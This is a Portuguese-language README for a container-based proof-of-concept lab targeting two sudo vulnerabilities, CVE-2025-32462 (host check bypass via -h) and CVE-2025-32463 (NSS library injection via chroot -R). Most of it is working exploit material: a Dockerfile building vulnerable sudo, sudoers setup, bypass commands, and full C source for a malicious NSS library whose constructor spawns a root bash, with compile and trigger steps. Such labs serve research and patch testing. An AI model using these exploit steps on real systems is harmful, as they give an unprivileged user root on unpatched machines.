CVE-2025-32462 & CVE-2025-32463 – Laboratório de PoC Avançado

Este repositório fornece um laboratório baseado em contêineres e PoC detalhado para duas vulnerabilidades críticas do sudo:

CVE-2025-32462 – Bypass da lógica de correspondência de host do sudo -h
CVE-2025-32463 – Fuga da biblioteca NSS via chroot do sudo -R

Pesquisa & Créditos

Pesquisa original por Rich Mirch – Stratascale CRU
PoC e ambiente de laboratório por MAAYTHM

Visão Técnica Geral

CVE-2025-32462 – Bypass da Validação de Host

O sudo aplica autorização baseada em host por meio de Host_Alias em /etc/sudoers.
A vulnerabilidade ocorre quando a opção -h é fornecida: o sudo avalia o nome de host informado em vez do nome de host canônico do sistema, permitindo que usuários restritos ignorem políticas sudo baseadas em host.

Impacto:

Bypass de política baseada em host
Escalação de privilégios
Execução não autorizada de comandos como root

CVE-2025-32463 – Injeção de NSS via Chroot

A opção -R do sudo permite a execução em um ambiente chroot. Durante a inicialização, as bibliotecas NSS (Name Service Switch) são carregadas com base em /etc/nsswitch.conf. Ao fornecer um ambiente chroot malicioso e uma biblioteca NSS personalizada, um atacante pode executar código como root.

Superfície de Ataque:

Sistema de arquivos chroot controlado
nsswitch.conf definido pelo atacante
Biblioteca compartilhada NSS personalizada carregada dinamicamente
Código do construtor é executado com privilégios elevados

Impacto:

Escalação de privilégios para root
Execução arbitrária de código dentro do contexto do chroot

Ambiente do Laboratório

SO base: Ubuntu 24.04
Versão vulnerável do sudo: 1.9.16p2
Usuários: pwn (não-root)
Isolamento: Contêiner Docker com rede personalizada

Estrutura do Repositório

CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│   # Cria o ambiente sudo vulnerável
│
├── exploit/
│   ├── cve_2025_32463.c
│   │   # Biblioteca compartilhada NSS maliciosa usada para escalação de privilégios
│   └── build.sh
│       # Compila o payload do exploit em um módulo NSS compartilhado
│
├── lab/
│   └── setup.sh
│       # Automatiza a configuração do laboratório vulnerável e do sudoers
│
└── README.md
    # Documentação técnica, análise de vulnerabilidades e guia de uso do PoC

Análise técnica completa, passo a passo do PoC e guia de exploração

Configuração do Laboratório Docker

FROM ubuntu:24.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
    apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
                       pkg-config libssl-dev git nano gcc && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
    tar xzf sudo-1.9.16p2.tar.gz && \
    cd sudo-1.9.16p2 && \
    ./configure --disable-gcrypt --prefix=/usr && \
    make && make install

RUN useradd -m -s /bin/bash pwn && \
    echo 'pwn:pwn' | chpasswd

USER pwn
WORKDIR /home/pwn

CMD ["/bin/bash"]

Compilar e executar o laboratório

docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d \
  --network sudolabnet \
  --ip 172.190.0.3 \
  --hostname lowpriv.test.local \
  --add-host highpriv.test.local:172.190.0.2 \
  --name lowpriv \
  sudo-vuln-lab tail -f /dev/null

CVE-2025-32462 – Exploração

docker exec -u root -it lowpriv bash
echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers
echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers
echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers

Comportamento normal:

sudo id
# Password required

Exploração:

sudo -h highpriv.test.local id
# uid=0(root) gid=0(root) groups=0(root)
sudo -h highpriv.test.local hostname -f
# lowpriv.test.local

CVE-2025-32463 – Exploração

mkdir -p exploitDir/etc
echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf
mkdir libnss_
cp /etc/group exploitDir/etc/

Biblioteca NSS maliciosa:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void GIVEMEROOT(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}

Compilar:

gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c

Acionar:

sudo -R exploitDir <command>
# Root shell obtained
id
# uid=0(root) gid=0(root)

Mais Populares

CVE-2025-32462-CVE-2025-32463-PoC-Lab